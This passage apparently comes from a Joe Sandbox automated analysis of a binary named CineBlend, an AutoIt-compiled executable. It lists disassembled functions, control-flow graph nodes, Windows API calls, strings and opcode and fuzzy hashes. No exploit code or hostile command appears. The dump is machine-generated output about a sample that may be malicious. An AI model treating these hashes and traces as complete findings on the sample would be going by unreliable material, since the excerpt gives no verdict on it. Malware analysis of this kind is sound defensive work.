                                  • UnregisterHotKey.USER32(?), ref: 00B32D7D
                                  • DestroyWindow.USER32(?), ref: 00B73A1B
                                  • FreeLibrary.KERNEL32(?), ref: 00B73A80
                                  • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00B73AAD
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                  • String ID: close all
                                  • API String ID: 469580280-3243417748
                                  • Opcode ID: 8e35e96b4fd610697e4140efe6cf8f6b3016c8b16fe0f65721bb5241c605236a
                                  • Instruction ID: d1c40d60c0bd02df8be5f3ed07275677cae0b586e955c2f56d3a590fae4bff62
                                  • Opcode Fuzzy Hash: 8e35e96b4fd610697e4140efe6cf8f6b3016c8b16fe0f65721bb5241c605236a
                                  • Instruction Fuzzy Hash: 8FD14935605612DFCB29EF14C986B69F7E0EF04B10F2542EDE95A6B261CB31AE12DF40
                                  Function 00B690C5 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 703 b690c5-b690d5 704 b690d7-b690ea call b5f636 call b5f649 703->704 705 b690ef-b690f1 703->705 721 b69471 704->721 707 b690f7-b690fd 705->707 708 b69459-b69466 call b5f636 call b5f649 705->708 707->708 711 b69103-b6912e 707->711 726 b6946c call b62b5c 708->726 711->708 714 b69134-b6913d 711->714 717 b69157-b69159 714->717 718 b6913f-b69152 call b5f636 call b5f649 714->718 719 b69455-b69457 717->719 720 b6915f-b69163 717->720 718->726 725 b69474-b69479 719->725 720->719 724 b69169-b6916d 720->724 721->725 724->718 728 b6916f-b69186 724->728 726->721 731 b691a3-b691ac 728->731 732 b69188-b6918b 728->732 736 b691ae-b691c5 call b5f636 call b5f649 call b62b5c 731->736 737 b691ca-b691d4 731->737 734 b69195-b6919e 732->734 735 b6918d-b69193 732->735 738 b6923f-b69259 734->738 735->734 735->736 769 b6938c 736->769 740 b691d6-b691d8 737->740 741 b691db-b691f9 call b63b93 call b62d38 * 2 737->741 742 b6925f-b6926f 738->742 743 b6932d-b69336 call b6fc1b 738->743 740->741 772 b69216-b6923c call b697a4 741->772 773 b691fb-b69211 call b5f649 call b5f636 741->773 742->743 746 b69275-b69277 742->746 756 b69338-b6934a 743->756 757 b693a9 743->757 746->743 750 b6927d-b692a3 746->750 750->743 754 b692a9-b692bc 750->754 754->743 759 b692be-b692c0 754->759 756->757 762 b6934c-b6935b GetConsoleMode 756->762 761 b693ad-b693c5 ReadFile 757->761 759->743 764 b692c2-b692ed 759->764 766 b693c7-b693cd 761->766 767 b69421-b6942c GetLastError 761->767 762->757 768 b6935d-b69361 762->768 764->743 771 b692ef-b69302 764->771 766->767 776 b693cf 766->776 774 b69445-b69448 767->774 775 b6942e-b69440 call b5f649 call b5f636 767->775 768->761 777 b69363-b6937d ReadConsoleW 768->777 770 b6938f-b69399 call b62d38 769->770 770->725 771->743 783 b69304-b69306 771->783 772->738 773->769 780 b69385-b6938b call b5f613 774->780 781 b6944e-b69450 774->781 775->769 787 b693d2-b693e4 776->787 778 b6939e-b693a7 777->778 779 b6937f GetLastError 777->779 778->787 779->780 780->769 781->770 783->743 790 b69308-b69328 783->790 787->770 794 b693e6-b693ea 787->794 790->743 798 b69403-b6940e 794->798 799 b693ec-b693fc call b68de1 794->799 801 b69410 call b68f31 798->801 802 b6941a-b6941f call b68c21 798->802 808 b693ff-b69401 799->808 809 b69415-b69418 801->809 802->809 808->770 809->808
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 4c3c0d5ef44fb3ab55574f5f6f910d5cbc65a9405dc8328802ba42f969b46ded
                                  • Instruction ID: de49db7c5b687a339719811edfe3adf866ce87db95cd7f84fea9e8d3347877cc
                                  • Opcode Fuzzy Hash: 4c3c0d5ef44fb3ab55574f5f6f910d5cbc65a9405dc8328802ba42f969b46ded
                                  • Instruction Fuzzy Hash: 3FC1D17090424AAFDF11DFA8D885BADBBF8FF09310F1841D9E914A7392C7399942CB65
                                  Function 00B4AC3E Relevance: 12.9, APIs: 1, Strings: 6, Instructions: 671COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 811 b4ac3e-b4b063 call b38ec0 call b4bc58 call b3e6a0 818 b88584-b88591 811->818 819 b4b069-b4b073 811->819 820 b88593 818->820 821 b88596-b885a5 818->821 822 b8896b-b88979 819->822 823 b4b079-b4b07e 819->823 820->821 826 b885aa 821->826 827 b885a7 821->827 828 b8897b 822->828 829 b8897e 822->829 824 b4b084-b4b090 call b4b5b6 823->824 825 b885b2-b885b4 823->825 833 b885bd 824->833 836 b4b096-b4b0a3 call b3c98d 824->836 825->833 826->825 827->826 828->829 831 b88985-b8898e 829->831 834 b88990 831->834 835 b88993 831->835 838 b885c7 833->838 834->835 839 b8899c-b889eb call b3e6a0 call b4bbbe * 2 835->839 844 b4b0ab-b4b0b4 836->844 842 b885cf-b885d2 838->842 873 b4b1e0-b4b1f5 839->873 874 b889f1-b88a03 call b4b5b6 839->874 845 b885d8-b88600 call b54cd3 call b37ad5 842->845 846 b4b158-b4b16f 842->846 848 b4b0b8-b4b0d6 call b54d98 844->848 885 b8862d-b88651 call b37b1a call b3bd98 845->885 886 b88602-b88606 845->886 851 b4b175 846->851 852 b88954-b88957 846->852 867 b4b0e5 848->867 868 b4b0d8-b4b0e1 848->868 856 b888ff-b88920 call b3e6a0 851->856 857 b4b17b-b4b17e 851->857 858 b8895d-b88960 852->858 859 b88a41-b88a79 call b3e6a0 call b4bbbe 852->859 856->873 890 b88926-b88938 call b4b5b6 856->890 864 b4b184-b4b187 857->864 865 b88729-b88743 call b4bbbe 857->865 858->839 866 b88962-b88965 858->866 859->873 909 b88a7f-b88a91 call b4b5b6 859->909 875 b886ca-b886e0 call b36c03 864->875 876 b4b18d-b4b190 864->876 894 b88749-b8874c 865->894 895 b8888f-b888b5 call b3e6a0 865->895 866->822 866->873 867->838 879 b4b0eb-b4b0fc 867->879 868->848 877 b4b0e3 868->877 880 b88ac9-b88acf 873->880 881 b4b1fb-b4b20b call b3e6a0 873->881 914 b88a2f-b88a3c call b3c98d 874->914 915 b88a05-b88a0d 874->915 875->873 912 b886e6-b886fc call b4b5b6 875->912 888 b4b196-b4b1b8 call b3e6a0 876->888 889 b88656-b88659 876->889 877->879 879->822 891 b4b102-b4b11c 879->891 880->844 897 b88ad5 880->897 885->889 886->885 899 b88608-b8862b call b3ad40 886->899 888->873 933 b4b1ba-b4b1cc call b4b5b6 888->933 889->822 892 b8865f-b88674 call b36c03 889->892 920 b8893a-b88943 call b3c98d 890->920 921 b88945 890->921 891->842 904 b4b122-b4b154 call b4bbbe call b3e6a0 891->904 892->873 938 b8867a-b88690 call b4b5b6 892->938 907 b8874e-b88751 894->907 908 b887bf-b887de call b3e6a0 894->908 895->873 941 b888bb-b888cd call b4b5b6 895->941 897->822 899->885 899->886 904->846 923 b88ada-b88ae8 907->923 924 b88757-b88774 call b3e6a0 907->924 908->873 959 b887e4-b887f6 call b4b5b6 908->959 955 b88a93-b88a9b 909->955 956 b88ab5-b88abe call b3c98d 909->956 960 b8870d-b88716 call b38ec0 912->960 961 b886fe-b8870b call b38ec0 912->961 951 b88ac2-b88ac4 914->951 931 b88a1e-b88a29 call b3b4b1 915->931 932 b88a0f-b88a13 915->932 937 b88949-b8894f 920->937 921->937 944 b88aea 923->944 945 b88aed-b88afd 923->945 924->873 968 b8877a-b8878c call b4b5b6 924->968 931->914 976 b88b0b-b88b19 931->976 932->931 947 b88a15-b88a19 932->947 977 b886ba-b886c3 call b3c98d 933->977 978 b4b1d2-b4b1de 933->978 937->873 979 b8869d-b886ab call b38ec0 938->979 980 b88692-b8869b call b3c98d 938->980 983 b888de 941->983 984 b888cf-b888dc call b3c98d 941->984 944->945 962 b88aff 945->962 963 b88b02-b88b06 945->963 964 b88aa1-b88aa3 947->964 951->873 969 b88aa8-b88ab3 call b3b4b1 955->969 970 b88a9d 955->970 956->951 959->873 999 b887fc-b88805 call b4b5b6 959->999 1000 b88719-b88724 call b38577 960->1000 961->1000 962->963 963->881 964->873 1003 b8878e-b8879d call b3c98d 968->1003 1004 b8879f 968->1004 969->956 969->976 970->964 989 b88b1b 976->989 990 b88b1e-b88b21 976->990 977->875 978->873 1011 b886ae-b886b5 979->1011 980->1011 998 b888e2-b888e9 983->998 984->998 989->990 990->831 1006 b888eb-b888f0 call b3396b 998->1006 1007 b888f5 call b33907 998->1007 1021 b88818 999->1021 1022 b88807-b88816 call b3c98d 999->1022 1000->873 1013 b887a3-b887ae call b59334 1003->1013 1004->1013 1006->873 1020 b888fa 1007->1020 1011->873 1013->822 1028 b887b4-b887ba 1013->1028 1020->873 1023 b8881c-b8883f 1021->1023 1022->1023 1026 b8884d-b88850 1023->1026 1027 b88841-b88848 1023->1027 1030 b88860-b88863 1026->1030 1031 b88852-b8885b 1026->1031 1027->1026 1028->873 1032 b88873-b88876 1030->1032 1033 b88865-b8886e 1030->1033 1031->1030 1032->873 1034 b8887c-b8888a 1032->1034 1033->1032 1034->873
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: d0b$d10m0$d1b$d1r0,2$d5m0$i
                                  • API String ID: 0-4285391669
                                  • Opcode ID: 0bea006be824d44a0c7745d3fca5e46f7a3d6eef7a972b8853ca3603611d5bb7
                                  • Instruction ID: bf33c8b4b4a027a4de5f681826aab569141bc913836f6b1bf6919ffcb3f566b6
                                  • Opcode Fuzzy Hash: 0bea006be824d44a0c7745d3fca5e46f7a3d6eef7a972b8853ca3603611d5bb7
                                  • Instruction Fuzzy Hash: 71625875508341DFC724DF24C095AAABBE0FF88304F5089AEE5999B361DB71EA45CF82
                                  Function 00B335B3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1035 b335b3-b33623 CreateWindowExW * 2 ShowWindow * 2
                                  APIs
                                  • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B335E1
                                  • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B33602
                                  • ShowWindow.USER32(00000000,?,?,?,?,?,?,00B33368,?), ref: 00B33616
                                  • ShowWindow.USER32(00000000,?,?,?,?,?,?,00B33368,?), ref: 00B3361F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$CreateShow
                                  • String ID: AutoIt v3$edit
                                  • API String ID: 1584632944-3779509399
                                  • Opcode ID: 77ab62051a9ea606f571b877a9ee527b8f5f1b7112898789a1f0aedda2094c72
                                  • Instruction ID: cae0fa68a45de87d5e09cf6003553bd207d572e10f4b15e77e04ef22bee4c82c
                                  • Opcode Fuzzy Hash: 77ab62051a9ea606f571b877a9ee527b8f5f1b7112898789a1f0aedda2094c72
                                  • Instruction Fuzzy Hash: 47F0DA756403947AE73157176C0CF3B3EBDD7CAF50B02102EBA04A7170D6795851DAB0
                                  Function 00BA1196 Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1036 ba1196-ba11bf InterlockedExchange 1037 ba11cd-ba11f6 call b5017b ReadFile 1036->1037 1038 ba11c1-ba11c2 call b5017b 1036->1038 1043 ba12ae-ba12b2 1037->1043 1044 ba11fc-ba1200 1037->1044 1041 ba11c7-ba11c8 1038->1041 1041->1037 1047 ba12c1-ba12d0 InterlockedExchange 1043->1047 1048 ba12b4-ba12b7 call b50184 1043->1048 1045 ba12a8-ba12ab 1044->1045 1046 ba1206-ba121b EnterCriticalSection 1044->1046 1045->1043 1050 ba1269-ba12a2 call b51190 LeaveCriticalSection ReadFile 1046->1050 1051 ba121d-ba122c 1046->1051 1054 ba12bc-ba12c0 1048->1054 1050->1044 1050->1045 1052 ba122e 1051->1052 1053 ba1234-ba1266 call b72430 call b5017b call b51190 call b50184 1051->1053 1052->1053 1053->1050 1054->1047
                                  APIs
                                  • InterlockedExchange.KERNEL32(?,000001F5), ref: 00BA11B3
                                  • ReadFile.KERNELBASE(?,?,0000FFFF,?,00000000), ref: 00BA11EE
                                  • EnterCriticalSection.KERNEL32(?), ref: 00BA120A
                                  • LeaveCriticalSection.KERNEL32(?), ref: 00BA1283
                                  • ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00BA129A
                                  • InterlockedExchange.KERNEL32(?,000001F6), ref: 00BA12C8
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
                                  • String ID:
                                  • API String ID: 3368777196-0
                                  • Opcode ID: 416e2c8ad1d2fe3e19efc581dc22f16225ec3a625e0313a1d678b045f9f73f87
                                  • Instruction ID: e130c4ead628eb647297a0f469b969f379ead5d9068023a551f2851494606b3b
                                  • Opcode Fuzzy Hash: 416e2c8ad1d2fe3e19efc581dc22f16225ec3a625e0313a1d678b045f9f73f87
                                  • Instruction Fuzzy Hash: 9E414971900204ABDF04AF58DC85BAAB7B8FF49310F1484E5FE00AB296DB30DE55DBA4
                                  Function 00B361A9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122windowCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00B75287
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B36299
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: IconLoadNotifyShell_String_wcslen
                                  • String ID: Line %d: $AutoIt -
                                  • API String ID: 2289894680-4094128768
                                  • Opcode ID: d968b1f6f632465cea293000fe1db20df8e6d85416387faf2095396e2004e49d
                                  • Instruction ID: 3d6a23be9182e72e31ebbf6a9695522868d51366f12590c7df1dcd25ece48ea0
                                  • Opcode Fuzzy Hash: d968b1f6f632465cea293000fe1db20df8e6d85416387faf2095396e2004e49d
                                  • Instruction Fuzzy Hash: F6419571408304AAC724EB60DC45FDFB7ECEF45320F2085AEF599920A1EF749649C796
                                  Function 00B358CB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1116 b358cb-b358d6 1117 b35948-b3594a 1116->1117 1118 b358d8-b358dd 1116->1118 1120 b3593b-b3593e 1117->1120 1118->1117 1119 b358df-b358f7 RegOpenKeyExW 1118->1119 1119->1117 1121 b358f9-b35918 RegQueryValueExW 1119->1121 1122 b3591a-b35925 1121->1122 1123 b3592f-b3593a RegCloseKey 1121->1123 1124 b35927-b35929 1122->1124 1125 b3593f-b35946 1122->1125 1123->1120 1126 b3592d 1124->1126 1125->1126 1126->1123
                                  APIs
                                  • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00B358BE,SwapMouseButtons,00000004,?), ref: 00B358EF
                                  • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00B358BE,SwapMouseButtons,00000004,?), ref: 00B35910
                                  • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00B358BE,SwapMouseButtons,00000004,?), ref: 00B35932
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseOpenQueryValue
                                  • String ID: Control Panel\Mouse
                                  • API String ID: 3677997916-824357125
                                  • Opcode ID: 4ba6116fbe15de28cf31c9058a71195b7fb322cc3be37489e67698a1f992388d
                                  • Instruction ID: 80441fa4be2327471036e68700796062d1694b587dba1558a76e32e9939fc3d1
                                  • Opcode Fuzzy Hash: 4ba6116fbe15de28cf31c9058a71195b7fb322cc3be37489e67698a1f992388d
                                  • Instruction Fuzzy Hash: 1D112AB5511618FFDB218F68DC84EAEB7F8EF45760F2045A9E805E7210E631AE419760
                                  Function 00B3F6D0 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON
                                  Download Yara Rule
                                  Strings
                                  • Variable must be of type 'Object'., xrefs: 00B848C6
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Variable must be of type 'Object'.
                                  • API String ID: 0-109567571
                                  • Opcode ID: c085daaaec43b235393c690be1689557674e695c748c0038e0ed35e50bf483bc
                                  • Instruction ID: d453fdffff1c789ce4132606660f6648259f78b8c36db008b35b9e59b97c8530
                                  • Opcode Fuzzy Hash: c085daaaec43b235393c690be1689557674e695c748c0038e0ed35e50bf483bc
                                  • Instruction Fuzzy Hash: 92C24575E00616DFCB24DF98C880BADB7F1FF19310F2481A9E905AB2A1D775AE41CB91
                                  Function 00B5014B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00B509D8
                                    • Part of subcall function 00B53614: RaiseException.KERNEL32(?,?,?,00B509FA,74DE2E40,?,?,?,?,?,?,?,00B509FA,?,00BF9758), ref: 00B53674
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00B509F5
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw$ExceptionRaise
                                  • String ID: Unknown exception
                                  • API String ID: 3476068407-410509341
                                  • Opcode ID: e29d199691a2688e71e638e51bc66a119b20fc5b0d49209622007a37ea4e5e90
                                  • Instruction ID: 4340cd7452a77a593a903c3175241878ac0910392b55a0f83dc29b2511c7859b
                                  • Opcode Fuzzy Hash: e29d199691a2688e71e638e51bc66a119b20fc5b0d49209622007a37ea4e5e90
                                  • Instruction Fuzzy Hash: B7F0283081060C778B00BAA8DC56BAE77EC9E00352B6040E5BD24A65E2FB70EA1DC6C0
                                  Function 00BB89B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00BB8D52
                                  • TerminateProcess.KERNEL32(00000000), ref: 00BB8D59
                                  • FreeLibrary.KERNEL32(?,?,?,?), ref: 00BB8F3A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process$CurrentFreeLibraryTerminate
                                  • String ID:
                                  • API String ID: 146820519-0
                                  • Opcode ID: 1ef17e535b3c69eb6ed69f06767b8ab2dc1b5d5c1cc90123dbf493805c8a598b
                                  • Instruction ID: 0a092a0b8398757245079f87cf4331d2c44be038ff1249f83d03d801aaadfe44
                                  • Opcode Fuzzy Hash: 1ef17e535b3c69eb6ed69f06767b8ab2dc1b5d5c1cc90123dbf493805c8a598b
                                  • Instruction Fuzzy Hash: 29125B71A083419FC714DF28C484B6ABBE5FF88314F14899DF8899B392DB71E945CB92
                                  Function 00BB9AF3 Relevance: 4.7, APIs: 3, Instructions: 233COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$_strcat
                                  • String ID:
                                  • API String ID: 306214811-0
                                  • Opcode ID: 8d2ee378a5b01580be468244e7506375f8cea0dc7eb6ddd00a97f7a6c5a47970
                                  • Instruction ID: c55542e111c761d4dc95f095d8c74d6fb4adc2ae2fc31440e94576f91808af69
                                  • Opcode Fuzzy Hash: 8d2ee378a5b01580be468244e7506375f8cea0dc7eb6ddd00a97f7a6c5a47970
                                  • Instruction Fuzzy Hash: D6A14831604605EFCB18DF18C5D1AA9BBE1FF45314B2084EDE95A9F292DB71ED46CB80
                                  Function 00B32793 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3327E: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00B332AF
                                    • Part of subcall function 00B3327E: MapVirtualKeyW.USER32(00000010,00000000), ref: 00B332B7
                                    • Part of subcall function 00B3327E: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00B332C2
                                    • Part of subcall function 00B3327E: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00B332CD
                                    • Part of subcall function 00B3327E: MapVirtualKeyW.USER32(00000011,00000000), ref: 00B332D5
                                    • Part of subcall function 00B3327E: MapVirtualKeyW.USER32(00000012,00000000), ref: 00B332DD
                                    • Part of subcall function 00B33205: RegisterWindowMessageW.USER32(00000004,?,00B32964), ref: 00B3325D
                                  • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00B32A0A
                                  • OleInitialize.OLE32 ref: 00B32A28
                                  • CloseHandle.KERNELBASE(00000000,00000000), ref: 00B73A0D
                                  Memory Dump Source
